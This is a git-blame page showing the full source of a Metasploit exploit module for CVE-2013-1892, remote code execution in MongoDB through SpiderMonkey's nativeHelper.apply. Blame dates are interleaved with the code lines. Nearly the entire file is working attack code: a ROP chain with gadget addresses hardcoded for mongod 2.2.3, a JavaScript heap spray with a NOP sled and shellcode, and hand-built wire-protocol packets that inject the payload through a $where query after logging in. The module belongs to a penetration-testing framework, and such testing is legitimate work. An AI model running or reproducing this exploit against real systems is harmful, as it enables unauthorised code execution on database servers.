Files
metasploit-gs/modules/exploits/linux/misc/mongod_native_helper.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

311 lines
12 KiB
Ruby
Raw Normal View History

2013-03-28 03:10:38 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-28 03:10:38 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-04-01 21:35:34 +02:00
Rank = NormalRanking
2013-08-30 16:28:54 -05:00
2013-03-28 11:15:13 +01:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def initialize(info={})
super(update_info(info,
'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',
2013-03-28 03:10:38 +01:00
'Description' => %q{
2016-07-08 16:17:39 -07:00
This module exploits the nativeHelper feature from spiderMonkey which allows
remote code execution by calling it with specially crafted arguments. This module
has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
2013-03-28 03:10:38 +01:00
},
'Author' =>
[
2013-04-01 21:35:34 +02:00
'agix' # @agixid # Vulnerability discovery and Metasploit module
2013-03-28 03:10:38 +01:00
],
'References' =>
[
[ 'CVE', '2013-1892' ],
[ 'OSVDB', '91632' ],
2013-04-01 21:35:34 +02:00
[ 'BID', '58695' ],
[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
2013-03-28 03:10:38 +01:00
],
2013-04-01 21:35:34 +02:00
'Platform' => 'linux',
2013-03-28 03:10:38 +01:00
'Targets' =>
[
2013-03-28 13:36:35 +01:00
[ 'Linux - mongod 2.2.3 - 32bits',
2013-03-28 11:15:13 +01:00
{
'Arch' => ARCH_X86,
'mmap' => [
2013-04-01 21:35:34 +02:00
0x0816f768, # mmap64@plt # from mongod
0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
0x31337000,
0x00002000,
2013-03-28 11:15:13 +01:00
0x00000007,
0x00000031,
0xffffffff,
0x00000000,
0x00000000,
2013-04-01 21:35:34 +02:00
0x0816e4c8, # memcpy@plt # from mongod
0x31337000,
0x31337000,
0x0c0b0000,
0x00002000
2013-03-28 11:15:13 +01:00
],
2013-04-01 21:35:34 +02:00
'ret' => 0x08055a70, # ret # from mongod
'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
# These gadgets need to be composed with bytes < 0x80
'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
'gadget4' => 0x08055a6c, # pop eax / ret
'gadget5' => 0x08457158 # xchg esp,eax
}
]
2013-03-28 03:10:38 +01:00
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-03-24',
2013-03-28 03:10:38 +01:00
'License' => MSF_LICENSE
))
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
register_options(
[
Opt::RPORT(27017),
2013-03-28 11:15:13 +01:00
OptString.new('DB', [ true, "Database to use", "admin"]),
2013-04-01 21:35:34 +02:00
OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
2018-08-09 23:34:03 -05:00
OptString.new('USERNAME', [ true, "Login to use", ""]),
OptString.new('PASSWORD', [ true, "Password to use", ""])
])
2013-03-28 03:10:38 +01:00
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def exploit
begin
connect
if require_auth?
print_status("Mongo server #{datastore['RHOST']} use authentication...")
2013-04-01 21:35:34 +02:00
if !datastore['USERNAME'] || !datastore['PASSWORD']
2013-03-28 03:10:38 +01:00
disconnect
2013-08-15 14:14:46 -05:00
fail_with(Failure::BadConfig, "USERNAME and PASSWORD must be provided")
2013-03-28 03:10:38 +01:00
end
if do_login==0
disconnect
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoAccess, "Authentication failed")
2013-03-28 03:10:38 +01:00
end
else
print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
end
2013-08-30 16:28:54 -05:00
2013-04-01 21:35:34 +02:00
if datastore['COLLECTION'] && datastore['COLLECTION'] != ""
collection = datastore['COLLECTION']
2013-03-28 03:10:38 +01:00
else
collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
if read_only?(collection)
disconnect
2013-08-15 14:14:46 -05:00
fail_with(Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
2013-03-28 03:10:38 +01:00
else
print_good("New document created in collection #{collection}")
end
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
print_status("Let's exploit, heap spray could take some time...")
2013-03-28 11:15:13 +01:00
my_target = target
2013-03-28 03:10:38 +01:00
shellcode = Rex::Text.to_unescape(payload.encoded)
2013-03-28 11:15:13 +01:00
mmap = my_target['mmap'].pack("V*")
2013-04-01 21:35:34 +02:00
ret = [my_target['ret']].pack("V*")
gadget1 = "0x#{my_target['gadget1'].to_s(16)}"
gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))
gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))
gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))
gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
shellcode_var="a"+Rex::Text.rand_text_hex(4)
sizechunk_var="b"+Rex::Text.rand_text_hex(4)
chunk_var="c"+Rex::Text.rand_text_hex(4)
i_var="d"+Rex::Text.rand_text_hex(4)
array_var="e"+Rex::Text.rand_text_hex(4)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
ropchain_var="f"+Rex::Text.rand_text_hex(4)
chunk2_var="g"+Rex::Text.rand_text_hex(4)
array2_var="h"+Rex::Text.rand_text_hex(4)
2013-08-30 16:28:54 -05:00
2013-04-01 21:35:34 +02:00
# nopsled + shellcode heapspray
payload_js = shellcode_var+'=unescape("'+shellcode+'");'
payload_js << sizechunk_var+'=0x1000;'
payload_js << chunk_var+'="";'
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '
payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'
payload_js << array_var+'=new Array();'
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '
2013-08-30 16:28:54 -05:00
2013-04-01 21:35:34 +02:00
# retchain + ropchain heapspray
payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'
payload_js << chunk2_var+'="";'
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } '
payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));'
payload_js << array2_var+'=new Array();'
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } '
2013-08-30 16:28:54 -05:00
2013-04-01 21:35:34 +02:00
# Trigger and first ropchain
payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, '
payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
request_id = Rex::Text.rand_text(4)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
packet = request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\x01\x00\x00\x00" #numberToReturn (1)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
where = "\x02\x24\x77\x68\x65\x72\x65\x00"
2013-04-01 21:35:34 +02:00
where << [payload_js.length+4].pack("L")
where << payload_js+"\x00"
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
where.insert(0, [where.length + 4].pack("L"))
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
packet += where
packet.insert(0, [packet.length + 4].pack("L"))
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
disconnect
rescue ::Exception => e
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unreachable, "Unable to connect")
2013-03-28 03:10:38 +01:00
end
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def require_auth?
request_id = Rex::Text.rand_text(4)
packet = "\x3f\x00\x00\x00" #messageLength (63)
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\x01\x00\x00\x00" #numberToReturn (1)
#query ({"listDatabases"=>1})
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-04-01 21:35:34 +02:00
response = sock.get_once
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
have_auth_error?(response)
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def read_only?(collection)
request_id = Rex::Text.rand_text(4)
_id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02"
key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
insert = _id+key+[value.length].pack("L")+value+"\x00"
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection)
packet << [insert.length+4].pack("L")
packet << insert
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
request_id = Rex::Text.rand_text(4)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
packet = [datastore['DB'].length + 61].pack("L") #messageLength (66)
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 Query)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\xff\xff\xff\xff" #numberToReturn (1)
packet << "\x1b\x00\x00\x00"
packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-08-30 16:28:54 -05:00
2013-04-01 21:35:34 +02:00
response = sock.get_once
2013-03-28 03:10:38 +01:00
have_auth_error?(response)
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def do_login
2013-04-01 21:35:34 +02:00
print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")
2013-03-28 03:10:38 +01:00
nonce = get_nonce
status = auth(nonce)
return status
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def auth(nonce)
request_id = Rex::Text.rand_text(4)
packet = request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\xff\xff\xff\xff" #numberToReturn (1)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
2013-04-01 21:35:34 +02:00
document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination
document << datastore['USERNAME'] + "\x00"
2013-03-28 03:10:38 +01:00
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
document << nonce + "\x00"
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
2013-04-01 21:35:34 +02:00
document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"
2013-03-28 03:10:38 +01:00
document << "\x00"
#Calculate document length
document.insert(0, [document.length + 4].pack("L"))
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
packet += document
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
#Calculate messageLength
packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength
sock.put(packet)
2013-04-01 21:35:34 +02:00
response = sock.get_once
2013-03-28 03:10:38 +01:00
if have_auth_error?(response)
print_error("Bad login or DB")
return 0
else
print_good("Successful login on DB #{datastore['db']}")
return 1
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def get_nonce
request_id = Rex::Text.rand_text(4)
packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length)
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\x01\x00\x00\x00" #numberToReturn (1)
#query {"getnonce"=>1.0}
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-04-01 21:35:34 +02:00
response = sock.get_once
2013-03-28 03:10:38 +01:00
documents = response[36..1024]
#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
nonce = documents[15..30]
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def have_auth_error?(response)
#Response header 36 bytes long
documents = response[36..1024]
#{"errmsg"=>"auth fails", "ok"=>0.0}
#{"errmsg"=>"need to login", "ok"=>0.0}
if documents.include?('errmsg') || documents.include?('unauthorized')
return true
else
return false
end
end
end